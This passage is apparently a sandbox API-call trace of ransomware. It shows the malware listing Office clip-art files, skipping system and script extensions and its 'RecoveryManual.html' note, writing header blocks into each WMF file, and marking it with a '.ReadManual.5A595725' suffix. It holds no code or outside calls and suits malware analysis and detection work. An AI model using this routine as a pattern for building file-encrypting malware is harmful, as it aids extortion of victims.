dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.233] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4796) returned 1 [0266.233] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12bc, lpName=0x0) returned 0x184 [0266.233] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.233] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.233] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.235] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.235] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12bc) returned 0x2f0000 [0266.235] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.236] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38690439588) returned 1 [0266.236] CloseHandle (hObject=0x184) returned 1 [0266.236] SetSecurityInfo () returned 0x57 [0266.236] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.236] CloseHandle (hObject=0x194) returned 1 [0266.236] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1 [0266.236] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105286.WMF" | out: lpString1="J0105286.WMF") returned="J0105286.WMF" [0266.236] lstrcmpiW (lpString1="J0105286.WMF", lpString2="RecoveryManual.html") returned -1 [0266.236] StrStrIW (lpFirst="J0105286.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.236] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.236] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.236] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.236] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.236] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.236] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.236] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.236] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.236] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.236] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.236] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.237] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.237] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.237] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.237] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" [0266.237] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.ReadManual.5A595725" [0266.237] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.ReadManual.5A595725") returned 87 [0266.237] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38690554702) returned 1 [0266.237] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 0x20 [0266.238] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.238] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6568) returned 1 [0266.238] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19a8, lpName=0x0) returned 0x184 [0266.238] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.239] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.239] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.241] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.241] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19a8) returned 0x2f0000 [0266.241] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.241] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38690989857) returned 1 [0266.241] CloseHandle (hObject=0x184) returned 1 [0266.241] SetSecurityInfo () returned 0x57 [0266.241] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.241] CloseHandle (hObject=0x194) returned 1 [0266.242] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1 [0266.242] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105288.WMF" | out: lpString1="J0105288.WMF") returned="J0105288.WMF" [0266.242] lstrcmpiW (lpString1="J0105288.WMF", lpString2="RecoveryManual.html") returned -1 [0266.242] StrStrIW (lpFirst="J0105288.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.242] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.242] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.242] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" [0266.242] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.ReadManual.5A595725" [0266.242] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.ReadManual.5A595725") returned 87 [0266.242] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38691097393) returned 1 [0266.242] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 0x20 [0266.242] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.243] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15832) returned 1 [0266.243] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3dd8, lpName=0x0) returned 0x184 [0266.243] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.243] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.243] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.245] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.245] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3dd8) returned 0x2f0000 [0266.246] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.246] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38691443326) returned 1 [0266.246] CloseHandle (hObject=0x184) returned 1 [0266.246] SetSecurityInfo () returned 0x57 [0266.246] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.246] CloseHandle (hObject=0x194) returned 1 [0266.246] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1 [0266.246] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105292.WMF" | out: lpString1="J0105292.WMF") returned="J0105292.WMF" [0266.246] lstrcmpiW (lpString1="J0105292.WMF", lpString2="RecoveryManual.html") returned -1 [0266.246] StrStrIW (lpFirst="J0105292.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.246] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.246] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.247] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.247] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" [0266.247] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.ReadManual.5A595725" [0266.247] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.ReadManual.5A595725") returned 87 [0266.247] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38691540882) returned 1 [0266.247] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 0x20 [0266.247] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.247] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14868) returned 1 [0266.247] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a14, lpName=0x0) returned 0x184 [0266.247] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.248] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.248] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.250] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.250] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a14) returned 0x2f0000 [0266.250] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.250] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38691897905) returned 1 [0266.250] CloseHandle (hObject=0x184) returned 1 [0266.250] SetSecurityInfo () returned 0x57 [0266.250] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.250] CloseHandle (hObject=0x194) returned 1 [0266.251] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1 [0266.251] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105294.WMF" | out: lpString1="J0105294.WMF") returned="J0105294.WMF" [0266.251] lstrcmpiW (lpString1="J0105294.WMF", lpString2="RecoveryManual.html") returned -1 [0266.251] StrStrIW (lpFirst="J0105294.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.251] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.251] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.251] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" [0266.251] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.ReadManual.5A595725" [0266.251] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.ReadManual.5A595725") returned 87 [0266.251] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38692023210) returned 1 [0266.252] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf")) returned 0x20 [0266.252] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.252] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5504) returned 1 [0266.252] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1580, lpName=0x0) returned 0x184 [0266.252] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.253] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.253] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.255] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.255] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1580) returned 0x2f0000 [0266.255] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.255] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38692381824) returned 1 [0266.255] CloseHandle (hObject=0x184) returned 1 [0266.255] SetSecurityInfo () returned 0x57 [0266.255] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.255] CloseHandle (hObject=0x194) returned 1 [0266.255] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1 [0266.255] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105298.WMF" | out: lpString1="J0105298.WMF") returned="J0105298.WMF" [0266.255] lstrcmpiW (lpString1="J0105298.WMF", lpString2="RecoveryManual.html") returned -1 [0266.255] StrStrIW (lpFirst="J0105298.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.255] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.256] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.256] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" [0266.256] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.ReadManual.5A595725" [0266.256] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.ReadManual.5A595725") returned 87 [0266.256] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38692483424) returned 1 [0266.256] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf")) returned 0x20 [0266.257] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.257] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6320) returned 1 [0266.257] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18b0, lpName=0x0) returned 0x184 [0266.257] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.258] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.258] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.260] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.260] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18b0) returned 0x2f0000 [0266.260] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.260] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38692899537) returned 1 [0266.260] CloseHandle (hObject=0x184) returned 1 [0266.260] SetSecurityInfo () returned 0x57 [0266.260] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.260] CloseHandle 